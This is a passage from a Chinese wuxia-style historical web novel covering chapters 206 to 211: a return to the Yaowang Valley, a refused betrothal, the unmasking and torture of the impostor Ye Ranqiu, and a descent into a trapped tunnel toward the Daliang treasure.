“此番没有走远,十月或是临近年关的时候吧,应该很快就回来了。”裴祈安说。 温令仪打量着裴祈安,笃定这个人早就开始布局,并且算无遗策,就算是有些意外,都不会影响全局,所以五师兄应该跟他的关系比自己想象的更亲近许多。 从京城到药王谷,一路往东南,沿途最美的风景莫过于生机勃勃的农田。 “阿宁从什么时候如此忧心天下百姓了呢?颇有些母仪天下的感觉。”裴祈安勾着温令仪的腰身,笑道。 温令仪愣怔了一瞬,母仪天下?自己从没想过,但从什么时候开始忧心百姓的?仔细回想,苦笑道:“受人所托,忠人之事,当初我生生的从上官子玉身上取下来那一大片绣着宝藏图的皮肤时,心里就暗暗发誓,她所求之事,我毕生都要为之努力,而她所求的便是能让大梁宝藏,还之于民。” 裴祈安轻轻地拍了拍温令仪的后背:“必定能如她所愿。” “再去梅山,一定要好好安葬她。”温令仪收回目光,看着桌子上放着毒经:“或许,她一直都能看到,我们取走宝藏的时候,也应该是她放下心结的时候了。” 对此,裴祈安只是点头。 这世上总有让人看不透的地方,比如温令仪的重生,小囡囡的出现,甚至如今还多了个晏明昭。 他深知在想,祖母和裴家人的魂魄也没有离开,也在等着大仇得报,唯有如此才能放下心结,转世投胎去呢。 头上三尺有神明,纵没人亲眼看到,也要心存敬畏。 药王谷就在眼前。 落霞山的山脚下,温令仪下了马车,这里的一切都那么熟悉和亲切,故地重游,温令仪又起了留在这里的心思,偏头看了看裴祈安。 “走吧,我们进山。”裴祈安并不知道温令仪的心思,但温令仪看他的眼神让他心里十分不安,吩咐所有人等在山外,就两个人进山,避过这些人的耳目后,裴祈安伸出手握住了温令仪的手:“阿宁,你是不是总会想着丢下我?” 温令仪:…… “这辈子,都休想。”裴祈安用了些力气,拿定主意,这次要跟天成子求娶,虽然跟温家提亲还不是时候,但一日为师终身为父,一定要把名分定下来! 第206章 请师父逐我出师门吧 落霞山半山腰俯瞰,山谷之下非常平整,错落有致的村落和沿着缓坡建造的木楼,跟崔家的隐居之地比起来,更显得随性许多。 “在没有药王谷之前,这里是出了名的恶人谷。”温令仪说着,带裴祈安找到了下到谷底的密道。 密道在一处地势非常平缓的石台上,温令仪停下脚步,回头看裴祈安。 “当年,我就是晕倒在这里的。”裴祈安说。 温令仪轻轻地叹了口气,这就是宿命感,多年后两个人再次来到这里,可中间隔着一重生死和晏怀卿,说对错似乎没有什么用,当初自己救裴祈安的时候,只记得那块玉佩,多年后也因为玉佩错认了晏怀卿,而晏怀卿之所以能让自己决心嫁出去,是因为穆青知道一切,也谋算了一些,有心算无心,自己是在劫难逃。 “当年,我生死未卜,而你太小。”裴祈安也不胜唏嘘,感慨万千,今日种种回头看,轻舟已过万重山,可一路走来的艰辛,就算是他都无法能体会到温令仪的那些绝望和无助,这样的她,自己都恨不得豁出命护着,怎么舍得她离自己而去? “谁也不能未卜先知,走吧,师父他们必定等急了。”温令仪收拾心情,迫不及待的见师父,师父上次伤势应该不轻,不知道如今怎么样了。 裴祈安陪着温令仪拾级而下,这进入山谷的密道十分隐蔽,若不是有人带路,怎么也不能进去的,当然就算运气使然,找到了密道,也无法到药王谷,因密道机括非常多,侥幸下来也会死在这里,这些并不是药王谷制作的机括,而是曾经恶人谷的人为了安全起见,精巧的布局。 温令仪轻车熟路,沿途告诉裴祈安小心,不要触碰到机关,二人到了出口,抬头就能看到师父的院子。 师父的院子很大,院子里晒着各种草药。 药王谷里的人也很多,曾经躲在恶人谷里的那些人,早就死了,留下的后人不愿意离开这里,他们习武,耕种,在这里研习家族绝学,可以说,药王谷才是整个江湖最藏龙卧虎的地方。 “哎呀,这不是我们的小丫头回来了嘛?”远处,背着药篓飞奔而来的老妇人一个鹞子翻身,稳稳地落在了温令仪面前,上下打量了急眼,蹙眉:“过得不好?” “柴婆婆。”温令仪走过去,亲昵的挽着柴婆婆的手臂:“过得好,只不过赶路太急,这些日子没睡好。” “那就行。”柴婆婆回头看了眼裴祈安,小声打趣儿道:“我们小丫头寻了个绝色,这样的男子可得看住了,不然撒出去啊,那些个女子还不疯了往上扑。” 温令仪脸一下就红了:“柴婆婆,这不是我嫁的那个人。” “嗯?”柴婆婆又回头看了眼裴祈安。 裴祈安微微颔首。 柴婆婆混不在意的摆了摆手:“那也无妨,谁说只有男人才能三妻四妾?我们小丫头喜欢就行。” 这话,裴祈安觉得还挺有道理的。 毕竟自己和温令仪之间,若非又争又抢,用尽了手段,也没这缘分。 温令仪脸更红了,只能问道:“虎哥呢?” “让我给捆起来了,非要去从军,祖上是匪,从哪门子的军?”柴婆婆啐了一口:“这天下爱是谁的就是谁的,不耽误我吃喝,也挡不住我生死。” 温令仪笑出声来:“就说婆婆才是人间清醒的圣人,外面争名逐利,那都头破血流的,哪里山谷中的日子好,快活的如神仙一般。” 柴婆婆笑着戳了戳温令仪的脸蛋:“你这小嘴儿竟越发的甜了,不过婆婆心里清楚的很,这外面的名利啊,谁都想要,婆婆老了,就虎子这么一根独苗,跟荣华富贵比起来,虎子好好延续香火,传宗接代更重要。” “那就完婚啊,娶媳妇这事儿在咱们药王谷可不难。”温令仪和柴婆婆说说笑笑的往天成子的院子来。 柴婆婆絮絮叨叨说着山谷里的事,到了天成子门口停下脚步:“你快去吧,老家伙最近脾气古怪,我可不想见到他,这些草药带过去,回头药钱给你买糖吃。” 说完,丢下采药的篓子,一转身几个腾挪就不见了踪影。 裴祈安走过来站在温令仪身边:“还不知道药王谷竟有如此高人。” 温令仪低声:“这位就是怪盗的后人,虎子哥是武学奇才,比婆婆厉害很多呢。” “原来如此。”裴祈安抬头看紧闭的大门,上前刚要扣门环,大门被打开了,当归见到温令仪,顿时眼圈都红了:“师姑,你可算回来了,快跟我去见师公。” 温令仪的心瞬间提到了嗓子眼儿,快步进门直奔天成子的精舍去。 当归在后头一路小跑追上来,没搭理裴祈安。 刚到精舍门口,就听到一声怒吼:“你们都给我滚出去!” 温令仪咯噔停下了脚步,回头看当归。 当归气喘吁吁的跑上来,说:“大师伯求师公不要出山,师公说他愚钝,二师伯说师公要再离开药王谷,他就要去西凉大开杀戒,师公给二师伯打了,还喂了软骨散。” 温令仪缓缓地吸了口气。 当归说:“六师伯前些日子离开了药王谷,在外面杀了不少人,这会儿还在祖师爷的灵位前跪着呢。” “为何杀人?”温令仪太了解六师兄了,平日里沉默寡言,突然出去杀人,必定是有一定要动手的理由了。 当归摇头:“是跟着蔡老爷子出去的,蔡老爷子回来后,昏迷不醒到现在,师公说蔡老爷子再不醒,他就从此以后把药王谷从江湖上除名。” 温令仪知道了,蔡老爷子在泾河府被困后逃走,是去江湖上搬救兵,结果没成不说,如百晓生周仓所说,非但不帮忙,还要趁机抹杀药王谷,认为药王谷坏了江湖规矩,跟朝廷往来密切,这才让六师兄一怒之下离开,大开杀戒去了。 “师父。”温令仪从门外进来,快步到了门口,扑通跪倒在地:“请师父逐我出师门吧。” 屋子里顿时鸦雀无声。 贵在一旁的大师兄谢长离低着头,使劲儿憋着笑,师父如今这脾气没人能压得住,幸好小师妹回来了。 门被推开,天成子从门里走出来,居高临下的看着温令仪,抬头见裴祈安立在不远处,扬声:“你救了我的小徒弟?” 裴祈安干净躬身行礼:“是在下保护不周,请老道长责罚。” “责罚?”天成子啐了一口:“你就造孽吧!” 说罢,一转身:“阿宁,进来。” 温令仪抬头,师父叫自己阿宁?她以为除了裴祈安外,再也没人会这么叫自己了呢。 起身,跟上来,进门才发现屋子里跪着的师兄门,一个个都眼巴巴的望着自己。 “听说,你研究了毒经,如今可有所成?”天成子问。 温令仪回道:“师父,入大梁宝藏有七成把握。” 天成子回头扫了眼温令仪:“先把蔡昀救回来。” “是。”温令仪应声,跟在天成子身后往后院去,进门看到躺在床上的蔡昀,温令仪快步过去,诊脉片刻看了眼天成子。 天成子叹了口气:“还有救吗?这多少种毒,我都分不清了。” 温令仪取出匕首,照着自己的手腕一划,天成子顿时怒喝一声:“阿宁!” 第207章 这条路是走不通了吗? 温令仪的血一滴滴落在蔡昀干裂的唇边,蔡昀眉头紧锁,眼睛虽然睁不开,可心里明白是谁来了。 他十分抵触,抿紧了唇角。 “蔡爷爷,我要您陪着我去找大梁宝藏,皇上昭告天下准许我和离,往后的路没那么容易走,您老不管我了吗?” 蔡昀心里咯噔一下,这丫头终于要动手了,不对,是裴祈安和温家要动手了,他早就看出来温家也好,裴祈安也好,都在下一盘大棋,江湖本就掺和进来了,亲眼看到晏怀卿引兵入夏,黎民百姓的苦难怎么能不让人动容。 一把年纪的他,看了太多世事,唯有西凉入夏,让他无比愤怒。 奈何眼睛像是被千斤巨石压着一般,但不再拒绝嘴里的腥甜了。 被下了很多种毒,他也需要醒过来,处理处理江湖上的这些杂事,墨染的心思他最了解,改天换地少不了她,既然都不守规矩,那就重新定一定规矩。 天成子在一旁疼得呲牙瞪眼,但老友命在旦夕,这是最快又行之有效的法子。 温令仪收手后,给开了解毒方子,天成子让当归去熬药。 师徒二人再次回到前面明堂里,天成子让众徒弟都聚到一起,缓缓开口:“你们的小师妹回来的目的不用我说,药王谷虽是江湖门派,但作为一个门派都护不住自己门内的人,那怎么在江湖立足?” 众师兄当然知道小师妹是自家人,别说师父护着,就是他们哪个不把小师妹当成手心里的宝?若不然六师兄也不会一怒之下大开杀戒了,真以为药王谷都是治病救人的郎中?那可就大错特错了。 老六江逾白为什么会被罚跪祖师爷的灵位,那是因为江逾白在外面大开杀戒还觉得气不过,回来要召集一直被药王谷庇护的那些恶人谷后人,若是这些人重出江湖,那可就真掀起来腥风血雨了。 “师父,小师妹能把穆青诛杀在雁门关,为药王谷清理门户,就凭这一点,我们就算掀翻了这江湖又能如何?真以为我们只是瞧病的郎中呢。”江逾白声音不大,但杀气腾腾。 温令仪抬眸看过去,六师兄平日里最少言寡语,爱漂亮,一身白衣,手执折扇,还是头一次见六师兄这般模样呢。 “那些个平日里受药王谷恩惠,却要背地里嚼舌根子,什么正道门派?手里的买卖生意比谁不黑?敢大呼小叫,就不能怪我下手无情。”江逾白说。 温令仪立刻想到了铸剑山庄。 师兄们纷纷附和。 天成子气得胡子都直哆嗦:“你们这些个逆徒,说大梁宝藏的事,你们一个个的,怎么着?为师不阻拦,你们还都出去化作杀人魔头了不成?” 瞬间,鸦雀无声。 “师父,我在雁门关见到过周仓。”温令仪说。 天成子点了点头:“这些人多唯江湖盟主马首是瞻,出现在雁门关也寻常。” “周仓被穆青用蛊虫控制,如今应该已经解蛊了,就算是没有解蛊,也必定在寻找解蛊的法子,我给了他一本解蛊的书。”温令仪说。 天成子脸上浮起喜色:“你们听到没有?药王谷学岐黄之术,不是养莽夫的地方,你们的小师妹能给周仓指点解蛊的路,穆青已死,周仓是个聪明人,必定知道如何趋吉避凶,药王谷的名声用你们出去打打杀杀吗?只管等着周仓为药王谷正名。” “那岂不是铸剑山庄、无影堂也是如此?”大师兄谢长离看着温令仪,问。 温令仪犹豫了片刻:“差不多,穆青所作所为,实在让人不齿,除非臭味相投又能得到绝对的好处,否则唯有这个法子才能控制那些人为他所用。” “所以,周仓得救,余下的几个必定也会自救,如此一来,江湖上必定会有风声。”谢长离看了眼江逾白:“这边是不战而屈人之兵,别人对药王谷的看法不必亲自动手去打出来,那些人怎么都要考虑有朝一日求到药王谷头上,能交好何必交恶?” “大师兄教训的是,我知错了。”江逾白确实认识到了自己的鲁莽,不过话锋一转:“大梁宝藏的事一旦在江湖上传开,必定会引起一场腥风血雨,要我说还是带着虎子他们出山,不管怎么说,必定要让小师妹万无一失,小师妹想要做的事也一定要成。” 天成子满意了,接过去话茬儿:“不是祖辈是匪,后代就没有翻身之日,世道乱了,乱世出枭雄,该出去博个富贵,也是好机缘。” 江逾白心里这个畅快,要不是师父没让走,他都恨不得立刻去召集自己的那些小兄弟们出去闯荡,生在天地间,七尺男儿就该顶天立地,富贵荣华。 这些个弟子都是天成子一点点儿养大的,每个孩子的性子最了解了,哪里看不出江逾白的心思?摆了摆手:“你们都去准备,我们很快就要离开落霞山了。” 等这些人离开后,裴祈安走过来,一撩袍子跪在地上。 温令仪都惊到了。 “老道长,当年的救命之恩,这些年的护佑之恩,裴祈安铭记在心,如今我小子有个不情之请,请老道长为小子做主。”裴祈安叩头在地。 这样的大礼之下,天成子立刻看向了温令仪。 温令仪也一脸惶恐,不知道裴祈安这是要做什么。 “起来说话,如此岂不是逼人?”天成子心里了然,脸色也就没那么好了。 裴祈安起身:“小子当年就说要明媒正娶阿宁为妻,如今阿宁得了自由身,我们还有小囡囡,请老道长为小子做主,跟阿宁定下婚约,待尘埃落定,必十里红妆迎娶阿宁。” “你知道未来的你会是什么样子吗?”天成子问。 裴祈安看温令仪。 温令仪心里清楚,裴祈安的将来会成为一国之君,毕竟温家绝对没有执掌天下的心思,抬眸看裴祈安的时候,温令仪的事表情淡淡的。 “阿宁有母仪天下之能,更有母仪天下之德。”裴祈安说。 天成子深吸一口气:“自古天下后宫都是修罗场,你以为我会舍得我的徒儿出了虎穴入龙潭吗?你们之间错配姻缘,未必不是天意,裴祈安,休要让老朽以老卖老的应承你这门婚事,而压住了阿宁的心意,药王谷从来都是阿宁的仰仗,而我们也绝不让阿宁未必自己的心意活着。” 裴祈安愕然,这条路是走不通了吗? 第208章 这个女人,真是不知道自己的心意吗? 温令仪在心里轻轻地叹了口气,裴祈安此举怎么可能得到师父的支持呢? 姑且不说二人之间的姻缘错配,就是现如今要寻大梁宝藏,接下来的造反,温家和裴祈安联手不假,可若有了这一层姻亲关系在,温家就一点儿退路也没有了,重蹈覆辙?就算是师父答应了,自己也绝对不会答应的。 裴祈安缓缓地吸了口气,拱手一礼:“老道长所言甚是,是小子唐突了,他日尘埃落定,必定再提亲。” 天成子摆了摆手:“都去准备吧,尽快出发。” 裴祈安退下后,温令仪才把藏宝图拿出来,仔细的和天成子分析梅山。 “若桃呢?”天成子一直都没见到若桃,心里十分惦记,那是上官子玉唯一留下的亲人。 温令仪低声:“往漠北去了,若桃易容术非常厉害,但赤子心性哪里能在尔虞我诈之中自保?所以徒儿安排她去漠北,她说要当一个女将军,为师姑镇守一方,护黎民百姓。” 天成子沉默了半晌:“好,好啊,都是好孩子。” 当晚,天成子走出了院子,温令仪知道师父去做什么了,她起身走去了后山,药王谷的后山住着很多人家,这些人家昏暗如豆的灯光像是点点萤火。 “夜里风凉。”裴祈安出现在温令仪身后,用披风裹住了温令仪,低声说。 温令仪偏头看着裴祈安:“师父从不曾动用过恶人谷的后人,一直都护着他们,这是当初在这里建药王谷时候的承诺,如今师父要请那些人出山,裴祈安,有朝一日若觉得这些人不适合行走在朝堂上,也请善待他们,药王谷是他们永远的庇护所。” 裴祈安轻轻地把温令仪拥入怀中,有些贪恋却没了最初的那种又抢又争的杂念,山风吹拂,在这个季节里都显得温柔。 “阿宁,为何会想着离开我呢?”裴祈安问的时候,低头看着她的侧脸。 温令仪面色平静,没有回答。 她从始至终都在承受背德的煎熬,这种煎熬也从不曾随着两个人接触的时间久了而淡一丝一毫,当初犹如牢笼困兽,如今已经得了自由,所以她最想做的就是割离之前所有的关系,甚至包括自己的亲人也在内,只要这次在大梁宝藏中得到是半边月的解药,或是解药的单方,让自己的亲人不再受这份煎熬,她功成身退,会遁回药王谷,不会给温家的子孙们留下一丝一毫的污点。 “回去吧。”裴祈安知道自己得不到答案,也可以说自己还没有能够让温令仪真正的接受两个人会成为名正言顺的夫妻,能彼此相伴到老。 日子有功,不能急于一时一刻。 药王谷这边准备了三天,启程的时候,只有天成子和温令仪一道回了京城。 至于其他人,提前一天往梅山去了,药王谷里除了几个老人,还有蔡昀,蔡昀毕竟年纪大了,虽然解了毒,可身体非常虚弱,不能长途劳顿,再者蔡昀是曾经的江湖盟主,他若做事,那也是江湖事。 马车一路日夜兼程,回到京城的时候已是盛夏,裴祈安带着天成子和温令仪入宫,永元帝下了一道密旨,几个人即刻出京往梅山去,并且派了一千龙鳞卫。 这些人都是永元帝的暗卫,就连裴祈安之前也只是听说过,从不曾见过,因不到万不得已的时候,永元帝不会动用龙鳞卫。 悄悄离开京城,温令仪和天成子坐在马车里,裴祈安骑着马跟在旁边,至于那些龙鳞卫并不在人前露面,所以路人看到的就是一辆马车和一个威风凛凛的男人。 到梅山脚下,温令仪下了马车,扶着天成子,师徒二人抬头看着梅山。 此时的梅山风景极美,半山腰有一大片桃林,此时的桃子都拳头大小了,只可惜种下这片桃树的人,不在了。 三个人往山上来,到了庵堂前,天成子忍不住叹了口气,此时的庵堂破旧的厉害,坍塌的房屋让他想到了当时的场景。 “师父,我们住在后面的精舍里。”温令仪说。 那是没有被破坏的地方。 天成子点了点头:“好。” 故地重游无故人,天成子只觉得心都被掏空了一块儿。 后面精舍已经被提前收拾好了,江逾白还有虎子几个早就到了,这些日子把梅山都走了一遍。 虎子看到温令仪的时候,笑呵呵的走过来:“令仪,好久不见,你倒是比之前沉稳多了。” “虎子哥。”温令仪笑了:“总归是要长大的。” 裴祈安立在旁边不动声色的打量着虎子。 听这个名字,裴祈安以为是个不修边幅,粗犷的汉子,怎么都没想到叫虎子的青年人,一身天青色长袍,头发半扎半披,剑眉入鬓,眼若寒星,并无放浪不羁的模样,反倒是衣冠楚楚的君子。 再看温令仪笑着寒暄,那是发自内心的亲切。 想到虎子的奶奶见到温令仪时的亲切,裴祈安心里发酸,倒不是觉得会有人跟自己抢温令仪,而是发现温令仪若是跟了虎子这样的人,闲云野鹤,相敬如宾,那样的日子怎么想都是好日子,而他要做的事没做完,似乎也做不完,报仇之后,想要统御天下,这条路太漫长,温令仪心里也是很清楚的,所以不愿意跟自己走下去。 低头,看看自己的手,这双手似乎什么都能抢的过来,唯独握不住温令仪的心。 翌日,天蒙蒙亮。 天成子让弟子们聚到一起,按照温令仪给的草药方子去采药,同时庵堂存放草药的屋子被打开,里面的草药保存的极好。 温令仪准备了各种解毒丹,红伤药,让裴祈安把龙鳞卫召集出来,进去的路不知道多长,有多少凶险,这些人要分批进去,温令仪率领三百龙鳞卫在最前面探路,天成子带领徒弟和虎子这些人在中间,裴祈安率领七百龙鳞卫在最后面。 如此安排能最大程度的保证人安全,就算是不成功,也会有人回去通风报信,当然温令仪是有私心的,自己可以死,不会乱了全局,但裴祈安必须活着。 “我陪你。”裴祈安第一个反对。 温令仪摇头:“你断后就好,外面并无人阻挡,所以我们沿途要留下人,以免螳螂捕蝉黄雀在后。” “我祖上是谋士,善奇门遁甲,温令仪。”裴祈安眼神切切的看着温令仪,这个女人,真是不知道自己的心意吗? “刚好,我也会奇门遁甲。”虎子上前,站在温令仪身边:“令仪,我陪着你在前面探路。” 温令仪偏头看了一眼虎子,点头:“好,就这么决定了,走吧。” 裴祈安:…… 第209章 你不是真的温令仪 到底,裴祈安带着七百人断后,每隔一丈远就留下一个人。 温令仪走在最前面,虎子与之并肩,这山洞是葬上官子玉的地方,温令仪总觉得冥冥之中都是有定数的,往里走的时候会在心里默默的对上官子玉的灵魂祝祷,期盼一切顺利。 就在温令仪带领这些人寻找大梁宝藏的时候,漠北的温家来了另一个温令仪。 叶染秋乔装温令仪后,就连晏怀卿都看不出任何破绽,这让晏怀卿相信了有轮回,还是这种直接回到了最初,一切都重新开始的方式。 温家。 温老夫人和温夫人看着走进来的叶染秋,两个人都泪眼婆娑。 叶染秋快步过来给温老夫人和温夫人请安,一口一个祖母、一口一个母亲,叫得温老夫人和温夫人都放下了戒备。 进门落座,温老夫人打量着叶染秋,开口:“阿宁啊,为何没带着明昭过来?你和晏怀卿到底是怎么回事?言归于好了?” 叶染秋垂泪:“祖母,晏怀卿投靠了西凉。” 温老夫人犹如当头被淋了一盆冷水,彻底冷静下来了,不过面上丝毫不显:“投靠西凉?那你?” “我奉旨去泾河府治疗时疫,晏怀卿得到消息就发兵泾河府,掳我退到了雁门关,逼着我来漠北。”叶染秋泪落如珠:“我几次求死都不能,祖母,我害了你们啊。” 温夫人取出来帕子压了压眼角:“那厮用了什么毒计?是让人把消息传到京城,让皇上觉得我温家和他晏怀卿联手了不成?” “嗯。”叶染秋看着温夫人,哽咽:“母亲,我本想一死了之,可求死不能,如今这件事无可挽回,我对不起温家的列祖列宗。” 温夫人缓缓地吸了口气。 用足了心思,装的真像啊,就连自己这个亲生母亲,若不是提前接到了裴祈安的飞鸽传书,也会难辨真假,叶染秋所说的话,又会让温家人放下戒备,也就是说,这个女人能蒙蔽温家所有人。 只是,人算不如天算! 不对,是晏怀卿再怎么有千条妙计,也错失良机了,毕竟温家在离开京城之前就和裴祈安联手了,并且筹谋到如今,哪一步都极为小心,怕出错。 正因如此,叶染秋自己觉得胜券在握,但最终会落到温家手里,也算是报应。 “你这丫头不能胡说,什么对不对得起列祖列宗的话,不该你说,既然你回来了,祖母这边也有个人要见见你。”温老夫人说着,看了眼温夫人,温夫人点了点头起身出去。 叶染秋心里狐疑,不过也知道温慕春和温慕阳都迎娶了宋家女,这宋明月和宋曦月跟温令仪都交情极好,听说温令仪回来了,肯定是要见一见的。 正小心翼翼的跟温老夫人说话,听到脚步声,故作满眼期待的看过来,当她看清进来的人的模样后,瞬间出了一身冷汗。 门外走进来的是温令仪! 叶染秋敢笃定就是温令仪,因为林嬷嬷陪在身边,在温令仪身后还跟着一个女子,二十出头,面目略有些沧桑,是个生面孔。 温夫人带着三个人进门,抬头看叶染秋。 “母亲。”叶染秋猛地起身,抬起手指着进门来的温令仪:“这是?这是怎么回事?” 温夫人勾起唇角:“我也想问问,这到底是怎么回事?为何我的女儿本就在漠北,偏偏又来了个一模一样的,若非我是亲生母亲,都要怀疑你们是双生姐妹了,她是我的女儿,你是谁呢?” “祖母。”叶染秋泪眼朦胧的看着温老夫人:“这是要舍弃我了吗?所以才有这一出?” 温老夫人摇头:“并非如此,而是朝廷昭告天下,令仪休夫在京城,你才是莫名其妙冒出来的人,我温家人素来宽厚,不会滥杀无辜,你被人利用也好,逼迫也罢,只要能和盘托出,温家不会为难你的。” “我是真的啊。”叶染秋还要辩驳。 进门的温令仪身体都出现了残影,没人看到是怎么就到了叶染秋面前,抬起手毫不留情的撕掉了叶染秋的人皮面具。 叶染秋都顾不得上捂着脸,瞪大眼睛看着温令仪:“你竟然会武功?” 温夫人冷声:“拿下!” 叶染秋又有了遭报应的感觉,刚出手就被抓了,只觉得万念俱灰。 因晏怀卿不会是输家,自己全身而退,大功一件是他的,自己被识破,哪怕是死了,他照旧在西凉皇上跟前可以用此投诚。 温夫人哪里还有平日里温婉的模样,面色冷凝:“送去水牢,让百里青过来,不是给令仪放血挖心吗?让她也尝一尝诸般滋味。” “你们、你们竟然全知道了?”叶染秋眼珠子都要瞪出来了,转过头看着温令仪:“你真狠,你竟然什么都说了?也不怕这些人把你当成妖物烧成一把灰?” 温令仪没说话,叶染秋盯着温令仪的眸子,突然怒吼道:“你不是真的温令仪!你是谁?” 是谁? 谁会告诉她? 被扔到了水牢里,冰冷刺骨的水让她嘴唇青紫,百里青走进来的时候,叶染秋目眦欲裂,她提前做了万全的准备,百里青是温令仪的四师兄,是话少但手段极狠的人,比穆青不差分毫。 报应啊,这报应怎么就没完没了了呢?她本来都逃走了,富贵迷人眼,自己为啥要回来呢? 百里青不言不语,取出来针囊和各种刀具,摆在水池边上,打量着叶染秋。 “别杀我,别杀我。”叶染秋下意识的求救。 百里青点了点头:“好。” 好? 叶染秋盯着百里青,看他从针囊里一个个取出银针又放进去,问:“真的吗?” “你们折磨了我师妹三十年,我怎么会现在就杀了你?虽然你的血没什么用,甚至都肮脏,可痛苦是不会少的,我会让你求死都是奢望。”百里青说着,抬起手一根纤细的金蚕丝缠住了叶染秋的脖子,往回一带的时候,叶染秋脖子上顿时出现了一圈血痕,血珠顺着脖颈往下滚落。 叶染秋恨不得手脚并用的爬到了百里青跟前,生怕自己慢一慢都会被直接摘下了脑袋。 百里青满意的点了点头,银针入穴后,叶染秋半个身子都动弹不得,眼睁睁的看着百里青割开自己手腕,往血管里插了一根空心的银针,那血不快也不慢,一滴一滴的落在水池里。 如此下去,自己必死无疑。 不对,他们不会让自己死! 叶染秋猛地伸出另外一只还能动弹的手,抓住了百里青的手臂:“我有很多秘密,我可以告诉你,对你们有很大的帮助,别杀我,我有用。” 百里青蹙眉,扫了眼叶染秋抓着他衣袖的手。 叶染秋立刻收回手:“晏怀卿会投靠耶律安,耶律齐会死在雁门关。” “我只在乎我小师妹。”百里青看着一滴滴的血,不能死自然不能一直让血这么流,但也不嫩更便宜了她! 叶染秋急促的呼吸:“还有,他们会刺杀国公爷,也在到处抓大公子,那可是你师妹最亲的人啊,难道你也不在乎?” 百里青扫了一眼叶染秋:“对,我不在乎。” 这是个什么混账东西啊,怎么什么都不在乎啊?叶染秋情急之下,知道的都竹筒倒豆子的说出来。 隔壁,温老夫人抬头看着坐在对面的若桃:“桃儿,你真要冒险吗?” 第210章 重宝在前,不得不退 漠北的温令仪当然不是真的,而是若桃。 若桃笑着说:“老夫人,如今有大小姐在身边,就不怕我做事被人看穿了,既然机会都送到面前了,怎么能放弃呢?” 这确实是个机会,如果不是叶染秋主动送上门,若桃怎么都没机会去漠北,若非温令茹恰好来到了漠北,若桃单枪匹马,别说若桃去不去,温家人也绝对不会让若桃去的。 冒险的事不是不能做,而是要看看有几分成算。 不至于胜券在握,可也绝对值得走这一趟。 叶染秋那点子底细都被摸透后,百里青可没有什么下不去手的,唯有死人才最安全,他沉着脸,让叶染秋眼睁睁的看着被剖开了胸膛,取走了心脏。 叶染秋瞪大眼睛,看着百里青把自己的心脏扔到了水里,嫌弃的擦手,而他根本不把自己当成个人,她也没有立刻死去,这种痛苦无法言说。 “我小师妹的痛苦,你体会到了吗?”百里青抬眸看着叶染秋:“她能得老天垂怜,重活一次,那是因为她本就是个良善的人,而你作恶多端,这个下场是你的报应。” 叶染秋张了张嘴,根本说不出一个字,一腔热血流干了,身体像是一片枯叶似的倒了下去。 百里青转身出去,地牢里一切都安静下来了,唯有空气里都是血腥味儿。 等百里青走出地牢后,回头抬手,眼前的地牢缓缓地塌陷下去,最后只剩下了一个土丘。 翌日。 温家人送若桃出门,身边陪着的除了林嬷嬷外,还有做仆从打扮的温令茹。 一行人离开了漠北往西凉去,温家还送上了一些礼物,这些礼物装了两马车,至于是什么东西无人知晓。 **梅山。 裴祈安谨慎的跟在最后面,如今进山已经七日了,这条密道像是没有尽头似的。 几次裴祈安都想要打退堂鼓,因各种机括密布,他不知道温令仪是否受伤,她前面开路,后面的人安全的很,可是这份安全让裴祈安的心都要碎掉了。 “前面到尽头了。”有人给裴祈安送来消息。 裴祈安缓缓地吸了口气,他迅速往前去,路过天成子的时候,只说了句:“老道长,我实在不放心,后头交给您了。” 天成子颔首。 最前面,温令仪站在一块凸出的巨石后,前面是探路的虎子,虎子小心翼翼的观察地形,眉头紧锁,面前是如出一辙的石壁,但这必定是有入口的。 墙壁上的石头被精心的打磨过,如此仔细寻找也没看到破绽,虎子取出来一个铁钎子,轻轻地敲击石壁,咚咚的声响在耳边回想,突然停下了动作。 温令仪精神紧绷,刚要上前就被一只手拦住了,这让她心头一惊,转过头看是裴祈安,低声:“你怎么来了?” “后面无事,我担心你。”裴祈安把温令仪挡在身后:“你等着。” 温令仪本想阻拦,可裴祈安哪里会让她还走在前面,上前到虎子跟前。 “摄政王,这里不单单是藏宝的地方,应该是皇家墓室。”虎子说:“但凡皇陵都会有一条密道,这条密道是工匠们保命用的,历代帝王建造好皇陵后,是不会让任何一个工匠活着走出进皇陵的,工匠们不想陪葬,才会留下这个密道。” 裴祈安也知道这个说法,微微点头:“大梁皇室知道气数已尽,但不死心,所以这条密道就排上了用场,让人从这里走出去,把地形图画下来送回皇室,但凡皇室有血脉,可再争天下的时候,这些宝藏就是仰仗。” 虎子点头:“确实如此,也正因如此,密道入口的位置会有很多机括,我们打开的时候,会非常危险。” “找到入口了吗?”裴祈安问。 虎子指了指铁钎子的位置:“这里,也就能容得下一人,我们从外面破开此处,不知道里面会是什么样子。” “我来。”裴祈安走向前,双手贴在虎子说的位置,运转内力,吞吐之下,石壁离开了纹路,再用力,石块扑簌簌落下,一股异香扑面而来。 裴祈安来不及掩住口鼻,回头:“有毒气!” 温令仪迅速从包里取出来瓷瓶,倒出来药丸快步往裴祈安跟前去,只有几步距离,裴祈安已经倒地不起,虎子虽然有了防备,可到底速度慢了,整个人靠在石壁上,脸色瞬间铁青。 温令仪把药丸递给虎子,虎子立刻吞下,温令仪跑到裴祈安跟前,跪在地上把药丸送到裴祈安的嘴里。 三百跟进来的龙鳞卫,一路上折损不止百人,这会儿都到底不起。 温令仪想要去救,裴祈安*拉住她微微摇头。 二人并无一句话,但温令仪明白裴祈安的意思,非但这三百不能活,永元帝派来的这些人都得死在这里,若不然如何能瞒天过海? 毒气往后弥漫,但天成子这些人本就善医,温令仪提前准备充足,他们都安然无恙,倒是后面那些龙鳞卫,折损多少不知,可见毒气十分霸道。 裴祈安盘膝打坐,调息,天成子和众人来到近前,从入口往里面看,一个个都变了脸色。 他们可不是没见识的人,足以说明里面的情况是多么的令人震惊。 清水、干粮和漫长的等待。 直到裴祈安再次睁开眼睛,众人才松了口气,特别是温令仪,她虽然研究了毒经,甚至可以说非常精通了,但用到这个本事还是头一次,难免心里担忧。 “怎么样?”温令仪问。 裴祈安轻声:“完全无碍,倒是我们得想一想如何出去。” “一旦我们进去,等我们再露面的时候,暗处隐藏的那些人就会蜂拥而上了,确实需要想个万全之策。”天成子说。 众人各抒己见。 温令仪沉默不语。 她走到入口往里面看了眼,也忍不住倒吸了口冷气,金山银山似乎都不足以形容,这么多金银惨败如何运送出去,确实是个问题,除非? 回头看裴祈安。 裴祈安微微点头。 “进去找到我们想要的东西后,彻底封死这里,我们悄悄离开,沿途巨石封住入口,时机成熟再登梅山。”温令仪说。 第211章 这个黑心肝的! “谁能进去?”天成子问。 温令仪抿了抿嘴角:“师父,裴祈安跟我进去。” 